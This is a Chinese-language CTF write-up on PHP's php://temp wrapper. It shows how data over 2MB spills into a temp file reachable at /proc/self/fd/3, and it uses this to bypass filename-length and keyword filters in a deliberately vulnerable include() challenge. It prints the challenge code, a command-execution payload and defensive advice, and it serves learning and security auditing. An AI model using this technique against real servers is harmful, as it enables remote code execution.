PHP伪协议的一点新发现(php://temp)
字数 1320 2025-08-06 18:07:42
PHP伪协议php://temp的深入分析与利用
0x00 前言
php://temp是PHP中一个特殊的伪协议,它允许读写临时数据。本文将深入分析php://temp的特性、工作机制以及在实际CTF题目中的应用。
0x01 php://temp基本特性
php://temp与php://memory类似,都是用于临时数据存储的伪协议包装器,主要区别在于:
- php://memory始终将数据存储在内存中
- php://temp在数据量达到预定义限制(默认2MB)后会存入临时文件
- 临时文件位置由sys_get_temp_dir()决定
可以通过/maxmemory:NN参数控制php://temp的内存限制,其中NN是以字节为单位的最大内存数据量。
0x02 工作机制分析
当向php://temp写入数据时:
- 数据量小于限制时:存储在内存中
- 数据量超过限制时:
- 自动创建临时文件(通常位于/tmp目录)
- 文件名格式为php[随机字符]
- 在/proc/self/fd/下创建指向该临时文件的描述符(通常为3)
测试代码:
<?php
var_dump(sys_get_temp_dir());
$fp = fopen("php://temp", 'r+');
system("ls -al /proc/self/fd");
fputs($fp, str_repeat("a",4*1024*1024)); // 写入4MB数据
system("ls -al /proc/self/fd");
执行后会观察到/proc/self/fd/下新增了描述符3,指向/tmp/php[随机字符]文件。
0x03 实际应用场景
php://temp特别适用于以下CTF场景:
- 文件长度受限:当题目限制文件名长度时(如不超过13字符)
- 文件权限受限:当难以找到可写权限的现有文件时
- 绕过过滤:当常规协议(file://, phar://等)被过滤时
典型题目分析
题目代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){
die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?>
解题思路:
- 使用
php://temp作为file参数(长度10,满足<13) - 写入超过2MB的数据触发临时文件创建
- 通过
/proc/self/fd/3包含临时文件
0x04 高级利用技巧
结合/proc/self/fd包含
当有以下限制时特别有用:
- 包含文件名长度限制
- 过滤了常见关键字(tmp|php|sess等)
- 无法使用其他协议(php://filter被过滤)
利用代码示例:
$_REQUEST["file"]="php://temp";
$_REQUEST["content"]="<?`touch /tmp/111`?>".str_repeat("a",4*1024*1024);
$_REQUEST["include_file"]="/proc/self/fd/3";
与其他协议对比
| 协议 | 读写支持 | 需要文件存在 | 内存限制 | 自动创建文件 |
|---|---|---|---|---|
| file:// | 是 | 是 | 无 | 否 |
| phar:// | 是 | 是 | 无 | 否 |
| php://memory | 是 | 否 | 无 | 否 |
| php://temp | 是 | 否 | 默认2MB | 是(超限时) |
| php://fd | 是 | 否 | 无 | 否 |
0x05 防御建议
- 严格限制包含的文件路径
- 禁用不必要的协议(如allow_url_include=Off)
- 对/proc目录的访问进行限制
- 对写入内容进行严格过滤
0x06 总结
php://temp是一个强大的伪协议,特别在以下场景中非常有用:
- 需要临时文件但无法创建常规文件
- 文件名长度受限
- 需要绕过某些过滤限制
理解其工作机制(内存缓冲和自动文件创建)对于CTF解题和安全审计都非常重要。